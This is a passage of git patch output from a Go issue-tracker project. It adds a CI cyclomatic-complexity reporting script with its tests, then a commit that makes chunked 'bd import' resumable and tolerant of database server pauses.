cmd/bd/ready_input.go:56:1 +35 main getDescriptionFlag cmd/bd/flags.go:43:1 +35 main printDiagnostics cmd/bd/doctor.go:1124:1 +35 main runContributorWizard cmd/bd/init_contributor.go:18:1 +34 beads FindBeadsDirFrom internal/beads/beads.go:589:1 +34 httpapi applyPatch internal/httpapi/batch_apply.go:473:1 +34 issueops GetEpicsEligibleForClosureInTx internal/storage/issueops/epic_closure.go:12:1 +34 main setDoltConfig cmd/bd/dolt.go:2021:1 +34 main topLevelStatementCount cmd/bd/sql_proxied_server.go:68:1 +33 dolt applyConfigDefaults internal/storage/dolt/store.go:1412:1 +33 main checkExistingBeadsDataAt cmd/bd/init.go:2447:1 +33 main detectStructuralIssues cmd/bd/swarm.go:327:1 +33 main maybeAutoExport cmd/bd/export_auto.go:72:1 +33 main runSyncCommand cmd/bd/sync.go:732:1 +33 proxy (*proxyServer).ListenAndServe internal/storage/dbproxy/proxy/server.go:109:1 +32 issueops DeleteResolvedSetInTx internal/storage/issueops/delete.go:199:1 +32 jira (*Tracker).Init internal/jira/tracker.go:61:1 +32 main burnMultipleMolecules cmd/bd/mol_burn.go:108:1 +32 main formatIssueLongExtras cmd/bd/show_format.go:362:1 +32 main resolveAndCookFormulaWithVars cmd/bd/cook.go:702:1 +32 main runRecipe cmd/bd/setup.go:210:1 +32 storage ValidateMetadataSchema internal/storage/metadata.go:77:1 +31 db (*dependencySQLRepositoryImpl).Insert internal/storage/domain/db/dependency.go:71:1 +31 main (*worktreeRemovalPlan).observeRevalidation cmd/bd/worktree_cmd.go:1384:1 +31 worktreeremove Prepare internal/worktreeremove/policy.go:170:1 +30 main computeLayout cmd/bd/graph.go:806:1 +30 main handleUpdateRepoID cmd/bd/migrate.go:315:1 +30 versioncontrolops mergeIssuesConflictRow internal/storage/versioncontrolops/automerge.go:333:1 diff --git a/scripts/ci/complexity.sh b/scripts/ci/complexity.sh new file mode 100755 index 000000000..d850e17e2 --- /dev/null +++ b/scripts/ci/complexity.sh @@ -0,0 +1,172 @@ +#!/usr/bin/env bash +# Report (and optionally guard) cyclomatic complexity for production Go code. +# +# This is deliberately an opt-in experiment. It uses gocyclo when available, +# reports the functions above COMPLEXITY_THRESHOLD, and compares those +# functions with a checked-in baseline. Reporting never fails the build; +# `check` can be used by a future CI lane once the baseline is trusted. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +BASELINE="${COMPLEXITY_BASELINE:-$REPO_ROOT/engdocs/complexity-baseline.txt}" +THRESHOLD="${COMPLEXITY_THRESHOLD:-30}" +TOP="${COMPLEXITY_TOP:-50}" +TOOL="${COMPLEXITY_TOOL:-gocyclo}" +GOCYCLO_VERSION="v0.6.0" +BASE_REF="${COMPLEXITY_BASE_REF:-origin/main}" +MODE="${1:-report}" + +case "$MODE" in + report|check|diff|update) ;; + *) + echo "usage: $0 [report|check|diff|update]" >&2 + exit 2 + ;; +esac + +if ! command -v "$TOOL" >/dev/null 2>&1; then + echo "complexity: $TOOL is required (install with: go install github.com/fzipp/gocyclo/cmd/gocyclo@$GOCYCLO_VERSION)" >&2 + exit 2 +fi + +case "$THRESHOLD" in + ''|*[!0-9]*) echo "complexity: COMPLEXITY_THRESHOLD must be an integer" >&2; exit 2 ;; +esac +case "$TOP" in + ''|*[!0-9]*) echo "complexity: COMPLEXITY_TOP must be an integer" >&2; exit 2 ;; +esac + +cd "$REPO_ROOT" +current="$(mktemp)" +filtered="$(mktemp)" +current_all="$(mktemp)" +current_all_raw="$(mktemp)" +changed="$(mktemp)" +base_scan="$(mktemp)" +base_filtered="$(mktemp)" +base_dir="$(mktemp -d)" +trap 'rm -f "$current" "$filtered" "$current_all" "$current_all_raw" "$changed" "$base_scan" "$base_filtered"; rm -rf "$base_dir"' EXIT + +# Keep the analyzer's input explicit: these are shipped Go packages. backend/ +# is included, while backend/conformance is excluded below. Paths are derived +# inside scan so an archived base with deleted or renamed files is handled. +# gocyclo's ignore expression is matched against source paths. The awk filter +# is a second defense for fake/custom analyzers and generated files. +scan() { + local root="$1" raw="$2" out="$3" threshold="${4:-$THRESHOLD}" + local analyzer_paths=() + while IFS= read -r path; do + analyzer_paths+=("${path#"$root/"}") + done < <(find "$root" -maxdepth 1 -type f -name '*.go' -print) + for path in cmd internal backend beadserrors format issueops journalops memoryops schema plugins integrations release-gates; do + [[ -d "$root/$path" ]] && analyzer_paths+=("$path") + done + (cd "$root" && "$TOOL" -ignore '(_test\.go$|\.gen\.go$|generated|(^|/)conformance/)' "${analyzer_paths[@]}") >"$raw" + awk -v threshold="$threshold" '$1 >= threshold && $4 !~ /_test\.go:/ && $4 !~ /\.gen\.go:/ && $4 !~ /generated/ && $4 !~ /(^|\/)backend\/conformance\// { print }' "$raw" \ + | sort -k1,1nr -k2,2 -k3,3 -k4,4 >"$out" +} +scan "$REPO_ROOT" "$current" "$filtered" + +if [[ "$MODE" == update ]]; then + { + echo "# Cyclomatic complexity baseline (generated by scripts/ci/complexity.sh update)" + echo "# Threshold: $THRESHOLD (only shipped production functions at or above it are tracked)" + cat "$filtered" + } >"$BASELINE" + echo "complexity: wrote $BASELINE ($(wc -l <"$filtered") functions)" + exit 0 +fi + +echo "Cyclomatic complexity (threshold >= $THRESHOLD; shipped production Go only)" +if [[ -s "$filtered" ]]; then + head -n "$TOP" "$filtered" +else + echo "(no functions meet threshold)" +fi + +if [[ "$MODE" == diff ]]; then + if [[ -z "$BASE_REF" ]] || ! git rev-parse --verify "$BASE_REF" >/dev/null 2>&1; then + echo "complexity: diff requires an available COMPLEXITY_BASE_REF (got '$BASE_REF')" >&2 + exit 2 + fi + git archive "$BASE_REF" | tar -x -C "$base_dir" + # Scan the base at zero so a function crossing the threshold is reported + # as a regression rather than as an indistinguishable new function. + scan "$base_dir" "$base_scan" "$base_filtered" 0 + scan "$REPO_ROOT" "$current_all_raw" "$current_all" 0 + echo + echo "Complexity changes relative to $BASE_REF (stable package/function/file keys)" + awk -v threshold="$THRESHOLD" ' + function keyof() { file=$4; sub(/:[0-9]+:[0-9]+$/, "", file); return $2 SUBSEP $3 SUBSEP file } + FILENAME == ARGV[1] { key=keyof(); old[key]=$1; oldline[key]=$0; next } + { key=keyof(); now[key]=$1; line[key]=$0 } + END { + for (k in now) { + if (!(k in old) && now[k] >= threshold) print "new: " line[k] + else if (k in old && now[k] >= threshold && now[k] > old[k]) print "regressed: " line[k] " (baseline " old[k] ")" + else if (k in old && now[k] < old[k] && old[k] >= threshold) print "improved: " line[k] " (baseline " old[k] ")" + } + # Base scans include scores below the reporting threshold so a + # function crossing upward is visible. Do not print every such + # historical function as a removal; only report deletions that + # were themselves above the configured threshold. + for (k in old) if (!(k in now) && old[k] >= threshold) print "deleted: " oldline[k] " (baseline " old[k] ")" + } + ' "$base_filtered" "$current_all" | sort + exit 0 +fi + +echo +echo "Changed functions relative to $BASE_REF (advisory; file-level scope)" +if git rev-parse --verify "$BASE_REF" >/dev/null 2>&1; then + git diff --name-only "$BASE_REF"...HEAD -- '*.go' | awk '!/_test\.go$/ && !/\.gen\.go$/ && !/generated/ && (index($0, "/") == 0 || $0 ~ /^(cmd|internal|backend|beadserrors|format|issueops|journalops|memoryops|schema|plugins|integrations|release-gates)\//) && $0 !~ /^backend\/conformance\//' >"$changed" + if [[ -s "$changed" ]]; then + awk -v top="$TOP" 'FILENAME == ARGV[1] { files[$0] = 1; next } { file = $4; sub(/:[0-9]+:[0-9]+$/, "", file); if (file in files && ++n <= top) print }' "$changed" "$filtered" + else + echo "(no shipped Go files changed)" + fi +else + echo "(base ref $BASE_REF unavailable; full report above)" +fi + +if [[ ! -f "$BASELINE" ]]; then + echo "complexity: baseline not found: $BASELINE (run '$0 update')" >&2 + [[ "$MODE" == check ]] && exit 1 + exit 0 +fi + +# Compare by package, function, and file (not line number), so harmless line +# movement does not look like a new offender. A check fails only for a new +# tracked function or a regression above its baseline; report remains advisory. +regressions="$(awk ' + FILENAME == ARGV[1] { + if ($1 ~ /^#/ || NF < 4) next + file = $4 + sub(/:[0-9]+:[0-9]+$/, "", file) + key = $2 SUBSEP $3 SUBSEP file + baseline[key] = $1 + next + } + { + file = $4 + sub(/:[0-9]+:[0-9]+$/, "", file) + key = $2 SUBSEP $3 SUBSEP file + if (!(key in baseline)) { + print "new: " $0 + } else if ($1 > baseline[key]) { + print "regressed: " $0 " (baseline " baseline[key] ")" + } + } +' "$BASELINE" "$filtered")" + +if [[ -n "$regressions" ]]; then + echo "complexity: changes relative to baseline:" >&2 + echo "$regressions" >&2 + if [[ "$MODE" == check ]]; then + exit 1 + fi +else + echo "complexity: no regressions relative to baseline" +fi diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 7651ce199..e70a437af 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -61,6 +61,39 @@ func TestPRCIGateRequiresPolicyAndLintWrappers(t *testing.T) { } } +func TestPRComplexityReportIsAdvisoryAndBestEffort(t *testing.T) { + workflow := readCIWorkflow(t, "pr.yml") + job := workflow.job(t, "complexity-report") + if job.RunsOn != "ubuntu-latest" || job.TimeoutMinutes != 0 || job.ContinueOnError { + t.Errorf("complexity job must have no job timeout/continue-on-error: runs-on=%q timeout=%d continue=%v", job.RunsOn, job.TimeoutMinutes, job.ContinueOnError) + } + if contains(job.Needs, "ci-gate") { + t.Errorf("complexity report unexpectedly depends on ci-gate: %v", job.Needs) + } + for _, name := range []string{"Set up Go", "Install gocyclo", "Generate complexity report", "Annotate unavailable complexity report", "Upload complexity report"} { + step := job.step(t, name) + if step.TimeoutMinutes <= 0 || step.ContinueOnError != true { + t.Errorf("complexity step %q is not bounded/best-effort: timeout=%d continue=%v", name, step.TimeoutMinutes, step.ContinueOnError) + } + } + checkout := job.Steps[0] + if checkout.TimeoutMinutes <= 0 || checkout.ContinueOnError != true { + t.Errorf("complexity checkout is not bounded/best-effort: timeout=%d continue=%v", checkout.TimeoutMinutes, checkout.ContinueOnError) + } + report := job.step(t, "Generate complexity report") + if report.ID != "generate-complexity" || report.If != "always()" || !strings.Contains(report.Run, "complexity.sh diff") || !strings.Contains(report.Run, "COMPLEXITY_BASE_REF=origin/main") { + t.Errorf("complexity report step missing diff/always contract: id=%q if=%q run=%q", report.ID, report.If, report.Run) + } + annotate := job.step(t, "Annotate unavailable complexity report") + if annotate.If != "always()" || !strings.Contains(annotate.Run, "::warning") { + t.Errorf("complexity annotation step missing always/warning contract: if=%q run=%q", annotate.If, annotate.Run) + } + gate := workflow.job(t, "ci-gate") + if contains(gate.Needs, "complexity-report") { + t.Errorf("ci-gate must not require advisory complexity report: %v", gate.Needs) + } +} + func TestPRWorkflowExercisesWindowsBenchmarkEnvScrubbing(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") diff --git a/scripts/complexity_script_test.go b/scripts/complexity_script_test.go new file mode 100644 index 000000000..b856de530 --- /dev/null +++ b/scripts/complexity_script_test.go @@ -0,0 +1,162 @@ +package scripts_test + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +const fakeComplexityOutput = `31 main Keep cmd/example.go:12:1 +22 workapi BuildListFilter internal/workapi/list.go:99:1 +9 main Small cmd/small.go:4:1 +45 main TestHelper cmd/helper_test.go:8:1 +50 main Conformance backend/conformance/check.go:3:1 +32 main Backend backend/live.go:7:1 +` + +func TestComplexityScriptReportFiltersAndComparesBaseline(t *testing.T) { + repo := sourceRepoRoot(t) + fake := filepath.Join(t.TempDir(), "fake-gocyclo") + writeExecutable(t, fake, "#!/bin/sh\nprintf '%s\\n' "+shellQuote(fakeComplexityOutput)) + baseline := filepath.Join(t.TempDir(), "baseline.txt") + if err := os.WriteFile(baseline, []byte("# fixture\n30 main Keep cmd/example.go:1:1\n22 workapi BuildListFilter internal/workapi/list.go:1:1\n"), 0o600); err != nil { + t.Fatal(err) + } + out, err := runComplexityScript(t, repo, fake, baseline, "report") + if err != nil { + t.Fatalf("report failed: %v\n%s", err, out) + } + if !strings.Contains(out, "31 main Keep") || !strings.Contains(out, "22 workapi BuildListFilter") { + t.Fatalf("report omitted tracked functions:\n%s", out) + } + if strings.Contains(out, "Small") || strings.Contains(out, "TestHelper") || strings.Contains(out, "Conformance") { + t.Fatalf("report included below-threshold/test fixture:\n%s", out) + } + if !strings.Contains(out, "32 main Backend") { + t.Fatalf("report omitted shipped backend function:\n%s", out) + } + if !strings.Contains(out, "regressed: 31 main Keep") { + t.Fatalf("report did not identify regression:\n%s", out) + } +} + +func TestComplexityScriptCheckFailsOnRegression(t *testing.T) { + fake := filepath.Join(t.TempDir(), "fake-gocyclo") + writeExecutable(t, fake, "#!/bin/sh\nprintf '%s\\n' '31 main Keep cmd/example.go:12:1'") + baseline := filepath.Join(t.TempDir(), "baseline.txt") + if err := os.WriteFile(baseline, []byte("30 main Keep cmd/example.go:1:1\n"), 0o600); err != nil { + t.Fatal(err) + } + out, err := runComplexityScript(t, sourceRepoRoot(t), fake, baseline, "check") + if err == nil { + t.Fatalf("check unexpectedly passed:\n%s", out) + } + if !strings.Contains(out, "regressed: 31 main Keep") { + t.Fatalf("check did not explain regression:\n%s", out) + } +} + +func TestComplexityScriptReportsNewFunctionAdvisory(t *testing.T) { + fake := filepath.Join(t.TempDir(), "fake-gocyclo") + writeExecutable(t, fake, "#!/bin/sh\nprintf '%s\\n' '31 main New cmd/new.go:12:1'") + baseline := filepath.Join(t.TempDir(), "baseline.txt") + if err := os.WriteFile(baseline, []byte("# empty fixture\n"), 0o600); err != nil { + t.Fatal(err) + } + out, err := runComplexityScript(t, sourceRepoRoot(t), fake, baseline, "report") + if err != nil { + t.Fatalf("report failed for new function: %v\n%s", err, out) + } + if !strings.Contains(out, "new: 31 main New") { + t.Fatalf("report did not identify new function:\n%s", out) + } +} + +func TestComplexityScriptHonorsThreshold(t *testing.T) { + fake := filepath.Join(t.TempDir(), "fake-gocyclo") + writeExecutable(t, fake, "#!/bin/sh\nprintf '%s\\n' '21 main Near cmd/near.go:1:1' '31 main Over cmd/over.go:2:1'") + baseline := filepath.Join(t.TempDir(), "baseline.txt") + if err := os.WriteFile(baseline, nil, 0o600); err != nil { + t.Fatal(err) + } + out, err := runComplexityScriptWithThreshold(t, sourceRepoRoot(t), fake, baseline, "report", "30") + if err != nil { + t.Fatalf("threshold report failed: %v\n%s", err, out) + } + if strings.Contains(out, "Near") || !strings.Contains(out, "Over") { + t.Fatalf("threshold was not applied:\n%s", out) + } + if !strings.Contains(out, "new: 31 main Over") { + t.Fatalf("empty baseline was not handled as empty:\n%s", out) + } +} + +func TestComplexityScriptDiffReportsCrossingAndTrueDeletionOnly(t *testing.T) { + fake := filepath.Join(t.TempDir(), "fake-gocyclo") + phase := filepath.Join(t.TempDir(), "complexity-phase") + if err := os.WriteFile(phase, []byte("head\n"), 0o600); err != nil { + t.Fatal(err) + } + // The phase file is an explicit head/base discriminator. This keeps the + // fixture independent of checkout directory names and worktree layout. + writeExecutable(t, fake, "#!/bin/sh\nif [ \"$(cat "+shellQuote(phase)+")\" = head ]; then\nprintf '%s\\n' '31 main Crossing cmd/cross.go:2:1' '10 main Drop cmd/drop.go:2:1'\nprintf '%s\\n' base >"+shellQuote(phase)+"\nelse\nprintf '%s\\n' '25 main Crossing cmd/cross.go:1:1' '58 main Drop cmd/drop.go:1:1' '40 main Gone cmd/gone.go:1:1' '12 main Quiet cmd/quiet.go:1:1'\nprintf '%s\\n' head >"+shellQuote(phase)+"\nfi\n") + out, err := runComplexityDiff(t, sourceRepoRoot(t), fake) + if err != nil { + t.Fatalf("diff failed: %v\n%s", err, out) + } + if !strings.Contains(out, "regressed: 31 main Crossing") || !strings.Contains(out, "baseline 25") { + t.Fatalf("diff omitted threshold crossing:\n%s", out) + } + if !strings.Contains(out, "deleted:") || !strings.Contains(out, "Gone") { + t.Fatalf("diff omitted true deletion:\n%s", out) + } + if !strings.Contains(out, "improved: 10 main Drop") || !strings.Contains(out, "baseline 58") { + t.Fatalf("diff omitted drop below threshold:\n%s", out) + } + if strings.Contains(out, "Quiet") || strings.Contains(out, "below threshold") { + t.Fatalf("diff emitted low-complexity base function:\n%s", out) + } +} + +func TestComplexityScriptFailsClearlyWhenToolMissing(t *testing.T) { + baseline := filepath.Join(t.TempDir(), "baseline.txt") + out, err := runComplexityScript(t, sourceRepoRoot(t), filepath.Join(t.TempDir(), "missing-gocyclo"), baseline, "report") + if err == nil { + t.Fatalf("report unexpectedly passed without analyzer:\n%s", out) + } + if !strings.Contains(out, "is required") || !strings.Contains(out, "v0.6.0") { + t.Fatalf("missing-tool error lacks pinned install guidance:\n%s", out) + } +} + +func runComplexityScript(t *testing.T, repo, tool, baseline, mode string) (string, error) { + return runComplexityScriptWithThreshold(t, repo, tool, baseline, mode, "20") +} + +func runComplexityScriptWithThreshold(t *testing.T, repo, tool, baseline, mode, threshold string) (string, error) { + t.Helper() + cmd := exec.Command("bash", filepath.Join(repo, "scripts/ci/complexity.sh"), mode) + cmd.Dir = repo + cmd.Env = append(os.Environ(), + "COMPLEXITY_TOOL="+tool, + "COMPLEXITY_BASELINE="+baseline, + "COMPLEXITY_THRESHOLD="+threshold, + ) + data, err := cmd.CombinedOutput() + return string(data), err +} + +func runComplexityDiff(t *testing.T, repo, tool string) (string, error) { + t.Helper() + cmd := exec.Command("bash", filepath.Join(repo, "scripts/ci/complexity.sh"), "diff") + cmd.Dir = repo + cmd.Env = append(os.Environ(), "COMPLEXITY_TOOL="+tool, "COMPLEXITY_BASE_REF=HEAD", "COMPLEXITY_THRESHOLD=30") + data, err := cmd.CombinedOutput() + return string(data), err +} + +func shellQuote(s string) string { + return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'" +} From e05000d64456b2e90cd8f270d74412f76bd2cd16 Mon Sep 17 00:00:00 2001 From: homer Date: Tue, 1 Sep 2026 01:20:59 -0700 Subject: [PATCH 004/624] fix(import): converge on resume and survive server pauses (wy-sbgucn) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A 30,740-issue `bd import` into a fresh dolt sql-server never converged (wyvern rollback drill wy-9we0jf): two defects, one symptom. 1. The shared pool's 10s per-I/O ReadTimeout killed a chunk COMMIT whenever the server paused — a stock server's auto_gc took 16.5s mid-import — and every pause surfaced as "i/o timeout" then "write commit result indeterminate". `bd import` now gets a 5m pool read-timeout FALLBACK (dolt.Config.PoolReadTimeoutFallback, applied in buildServerDSN only when neither the caller, BEADS_DOLT_POOL_READ_TIMEOUT nor dolt.pool-read-timeout set one), so an operator's explicit setting still wins. 2. A re-run rewrote every row from chunk 1: the stale pre-filter kept tie rows (same updated_at, same columns) in the write set so their aux data could merge additively (bd-hj85c). Under any bounded wall clock each attempt re-spent its whole budget reaching the same chunk — the drill's "deterministic chunk 44" was a ~300s wrapper kill (rootCtx cancels only on a signal, hence "context canceled"), not a stall. filterStaleImportIssues now proves a tie row unchanged when every incoming label, comment and dependency is already stored (bulk-loaded through the optional importRelationLookup seam; typed opt-out errImportRelationsUnavailable) and leaves it out of the write set, reported as Unchanged. A fresh import pays nothing; a resume skips the committed prefix and converges. Tests: resume fast path (proven row skipped, any missing aux row keeps the row, opt-in/opt-out, read failure surfaces, result accounting) and the DSN fallback precedence. --- cmd/bd/import.go | 27 ++++ cmd/bd/import_shared.go | 160 ++++++++++++++++++++++- cmd/bd/import_shared_unit_test.go | 156 ++++++++++++++++++++++ cmd/bd/main.go | 3 + internal/storage/dolt/store.go | 12 ++ internal/storage/dolt/store_unit_test.go | 27 ++++ 6 files changed, 381 insertions(+), 4 deletions(-) diff --git a/cmd/bd/import.go b/cmd/bd/import.go index 7f048a832..6c2eb4f28 100644 --- a/cmd/bd/import.go +++ b/cmd/bd/import.go @@ -9,6 +9,7 @@ import ( "os" "path/filepath" "strings" + "time" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/beads" @@ -116,6 +117,28 @@ func init() { rootCmd.AddCommand(importCmd) } +// importPoolReadTimeout is the per-I/O read deadline a `bd import` gets on +// its shared-pool connections when neither the caller, BEADS_DOLT_POOL_READ_TIMEOUT +// nor dolt.pool-read-timeout set one. The pool default (10s) is a fast-fail +// tuned for interactive commands; an import's chunk COMMIT of 250 rows with +// their aux tables legitimately outlives it whenever the server pauses — a +// stock dolt sql-server's auto_gc took 16.5s mid-import in the wy-9we0jf +// rollback drill, and every such pause surfaced as "i/o timeout" followed by +// "write commit result indeterminate" (wy-sbgucn). 5m matches the repo's +// other known-long operations (execWithLongTimeout, withReadTxLongTimeout). +const importPoolReadTimeout = 5 * time.Minute + +// bulkLoadPoolReadTimeout returns the pool read-timeout fallback for cmd: the +// bulk-load deadline for `bd import`, zero (keep the pool default) otherwise. +// It is a FALLBACK, not an override — an operator's explicit setting still wins +// (see dolt.Config.PoolReadTimeoutFallback). +func bulkLoadPoolReadTimeout(cmd *cobra.Command) time.Duration { + if cmd != nil && cmd.Name() == "import" { + return importPoolReadTimeout + } + return 0 +} + func runImport(cmd *cobra.Command, args []string) error { // Explicit call, not inherited from CheckReadonly: runImport doesn't call // CheckReadonly at all (a separate, pre-existing gap — readonlyMode @@ -397,6 +420,7 @@ func applyImportDryRunClassification(result *importResultJSON, classification *I func applyImportOutcome(result *importResultJSON, importResult *ImportResult) { result.Created = importResult.Created result.Updated = importResult.Updated + result.Unchanged = importResult.Unchanged result.Skipped += importResult.Skipped result.SkippedDependencies = append(result.SkippedDependencies, importResult.SkippedDependencies...) result.IDs = append(result.IDs, importResult.ImportedIDs...) @@ -447,6 +471,9 @@ func renderImportOutcome(result importResultJSON, source string, dedupHits int) if staleSkipped := result.Skipped - dedupHits; staleSkipped > 0 { fmt.Fprintf(os.Stderr, " (%d stale skipped; use --allow-stale to restore older rows)", staleSkipped) //nolint:gosec // G705: stderr, not a browser context } + if result.Unchanged > 0 { + fmt.Fprintf(os.Stderr, " (%d already present, unchanged)", result.Unchanged) //nolint:gosec // G705: stderr, not a browser context + } fmt.Fprintln(os.Stderr) if len(result.UpdatedIssues) > 0 { fmt.Fprintf(os.Stderr, "Updated %d existing issue(s):\n", len(result.UpdatedIssues)) diff --git a/cmd/bd/import_shared.go b/cmd/bd/import_shared.go index 8e98086fd..c7594dcb8 100644 --- a/cmd/bd/import_shared.go +++ b/cmd/bd/import_shared.go @@ -4,9 +4,11 @@ import ( "bufio" "context" "encoding/json" + "errors" "fmt" "io" "os" + "sort" "strings" "time" @@ -112,6 +114,27 @@ type importIssueLookup interface { GetIssuesByIDs(ctx context.Context, ids []string) ([]*types.Issue, error) } +// importRelationLookup is the OPTIONAL read seam behind the resume fast path +// (wy-sbgucn). A re-run of an interrupted chunked import used to rewrite every +// row from the first chunk, so under any bounded wall clock (a timeout wrapper, +// a session budget) each attempt re-spent its whole budget reaching the same +// chunk and the import never converged — the rollback drill's "deterministic +// chunk 44" (wy-9we0jf). The pre-filter now proves a tie row unchanged when its +// columns, labels, comments and dependencies are all already stored, and leaves +// it out of the write set. Proof needs the aux rows, hence these bulk loaders; +// a store without them (the proxied unit of work, test fakes) keeps the old +// behavior and rewrites every tie row. +type importRelationLookup interface { + GetCommentsForIssues(ctx context.Context, issueIDs []string) (map[string][]*types.Comment, error) + GetDependencyRecordsForIssues(ctx context.Context, issueIDs []string) (map[string][]*types.Dependency, error) +} + +// errImportRelationsUnavailable is the typed opt-out a lookup returns from +// either bulk loader when it cannot supply aux rows: the fast path then proves +// nothing and every tie row is rewritten (safe — it is the pre-fast-path +// behavior). Any other error is a real read failure and stops the import. +var errImportRelationsUnavailable = errors.New("import relation lookup unavailable") + // importIssuesCore imports issues into the Dolt store. // This is a bridge function that delegates to the Dolt store's batch creation. func importIssuesCore(ctx context.Context, _ string, store storage.DoltStorage, issues []*types.Issue, opts ImportOptions) (*ImportResult, error) { @@ -136,7 +159,7 @@ func importIssuesCore(ctx context.Context, _ string, store storage.DoltStorage, staleSkippedIDs = skipped changePlan = plan if len(issues) == 0 { - return &ImportResult{Skipped: len(staleSkippedIDs), StaleSkippedIDs: staleSkippedIDs}, nil + return &ImportResult{Skipped: len(staleSkippedIDs), StaleSkippedIDs: staleSkippedIDs, Unchanged: len(changePlan.Unchanged)}, nil } } @@ -207,6 +230,7 @@ func assembleImportResult(issues []*types.Issue, staleSkippedIDs []string, chang return &ImportResult{ Created: len(importedIDs), Updated: updatedCount, + Unchanged: len(changePlan.Unchanged), Skipped: len(staleSkippedIDs), ImportedIDs: importedIDs, StaleSkippedIDs: staleSkippedIDs, @@ -659,6 +683,12 @@ type importChangePlan struct { // every stored column for these (second-granularity timestamp tie), // while their aux data still merges. TieKeptLocal []string + // Unchanged lists incoming rows proven identical to the stored row — + // same updated_at, same columns, and every incoming label, comment and + // dependency already stored — and therefore left out of the write set + // (wy-sbgucn). This is what lets a re-run of an interrupted import skip + // the committed prefix instead of rewriting it. + Unchanged []string // NewIDs lists incoming rows with no local match (would-create), deduped // by ID for display and excluding title-only rows that carry no ID at // all. NewCount is the authoritative row count for those same rows: it @@ -736,6 +766,9 @@ func filterStaleImportIssues(ctx context.Context, store importIssueLookup, issue filtered := make([]*types.Issue, 0, len(issues)) skippedIDs := make([]string, 0) + // Positions in filtered whose row ties the local one with identical + // columns; proveUnchangedImportRows decides which of them leave the set. + tieIdentical := make(map[int]struct{}) for _, issue := range issues { if issue == nil { filtered = append(filtered, issue) @@ -778,10 +811,127 @@ func filterStaleImportIssues(ctx context.Context, store importIssueLookup, issue } else { plan.Updates = append(plan.Updates, ImportChange{ID: issue.ID, Changes: summary}) } + } else if incomingAt.Equal(localAt) { + // Same second, same columns: a candidate for the resume fast + // path, decided below once the aux rows are loaded. + tieIdentical[len(filtered)] = struct{}{} } filtered = append(filtered, issue) } - return filtered, skippedIDs, plan, nil + if len(tieIdentical) == 0 { + return filtered, skippedIDs, plan, nil + } + unchanged, err := proveUnchangedImportRows(ctx, store, filtered, tieIdentical, localByID) + if err != nil { + return nil, nil, plan, err + } + if len(unchanged) == 0 { + return filtered, skippedIDs, plan, nil + } + kept := make([]*types.Issue, 0, len(filtered)-len(unchanged)) + for pos, issue := range filtered { + if _, skip := unchanged[pos]; skip { + plan.Unchanged = append(plan.Unchanged, issue.ID) + continue + } + kept = append(kept, issue) + } + return kept, skippedIDs, plan, nil +} + +// proveUnchangedImportRows returns the positions in filtered (drawn from the +// candidate set) whose incoming row is provably a no-op write: the tie already +// proved the columns equal, and every incoming label, comment and dependency +// is already stored. The aux writes are all additive (INSERT IGNORE labels, +// existence-checked comments, dedup'd dependency rows), so incoming ⊆ stored +// is exactly the condition under which the rewrite would change nothing. +// Anything short of proof — a store without bulk loaders, a comment with no +// timestamp, an untyped dependency, an aux row not yet stored — keeps the row +// in the write set, i.e. today's behavior. Comments are keyed the way +// PersistComments checks existence (author, created_at as stored, text). +func proveUnchangedImportRows(ctx context.Context, store importIssueLookup, filtered []*types.Issue, candidates map[int]struct{}, localByID map[string]*types.Issue) (map[int]struct{}, error) { + rel, ok := store.(importRelationLookup) + if !ok { + return nil, nil + } + ids := make([]string, 0, len(candidates)) + seen := make(map[string]struct{}, len(candidates)) + for pos := range candidates { + id := filtered[pos].ID + if _, dup := seen[id]; dup { + continue + } + seen[id] = struct{}{} + ids = append(ids, id) + } + sort.Strings(ids) + comments, err := rel.GetCommentsForIssues(ctx, ids) + if errors.Is(err, errImportRelationsUnavailable) { + return nil, nil + } + if err != nil { + return nil, fmt.Errorf("check existing comments before import: %w", err) + } + deps, err := rel.GetDependencyRecordsForIssues(ctx, ids) + if errors.Is(err, errImportRelationsUnavailable) { + return nil, nil + } + if err != nil { + return nil, fmt.Errorf("check existing dependencies before import: %w", err) + } + unchanged := make(map[int]struct{}) + for pos := range candidates { + issue := filtered[pos] + local := localByID[issue.ID] + if local == nil { + continue + } + if importAuxAlreadyStored(issue, local, comments[issue.ID], deps[issue.ID]) { + unchanged[pos] = struct{}{} + } + } + return unchanged, nil +} + +func importAuxAlreadyStored(incoming, local *types.Issue, storedComments []*types.Comment, storedDeps []*types.Dependency) bool { + stored := make(map[string]struct{}, len(local.Labels)) + for _, l := range local.Labels { + stored[l] = struct{}{} + } + for _, l := range incoming.Labels { + if _, ok := stored[l]; !ok { + return false + } + } + commentKey := func(c *types.Comment) string { + return c.Author + "\x00" + issueops.FormatAuxTime(c.CreatedAt) + "\x00" + c.Text + } + stored = make(map[string]struct{}, len(storedComments)) + for _, c := range storedComments { + stored[commentKey(c)] = struct{}{} + } + for _, c := range incoming.Comments { + if c == nil || c.CreatedAt.IsZero() { + return false // would be stamped live on write: not provably a no-op + } + if _, ok := stored[commentKey(c)]; !ok { + return false + } + } + depKey := func(d *types.Dependency) string { return d.DependsOnID + "\x00" + string(d.Type) } + stored = make(map[string]struct{}, len(storedDeps)) + for _, d := range storedDeps { + stored[depKey(d)] = struct{}{} + } + for _, d := range incoming.Dependencies { + if d == nil || d.Type == "" { + return false + } + if _, ok := stored[depKey(d)]; !ok { + return false + } + } + return true } // classifyImportIssuesExistence classifies incoming rows as created or @@ -879,7 +1029,7 @@ func classifyDryRunImport(ctx context.Context, store importIssueLookup, issues [ return &ImportResult{ Created: created, Updated: updated, - Unchanged: len(filtered) - created - updated, + Unchanged: len(filtered) - created - updated + len(plan.Unchanged), Skipped: len(staleSkippedIDs), ImportedIDs: plan.NewIDs, StaleSkippedIDs: staleSkippedIDs, @@ -1176,7 +1326,9 @@ func importFromLocalJSONLWithOpts(ctx context.Context, store storage.DoltStorage if err != nil { return nil, err } - result.Issues = importResult.Created + // Rows the resume fast path proved already present count as imported + // here: this is "rows the file put in the store", not "rows written". + result.Issues 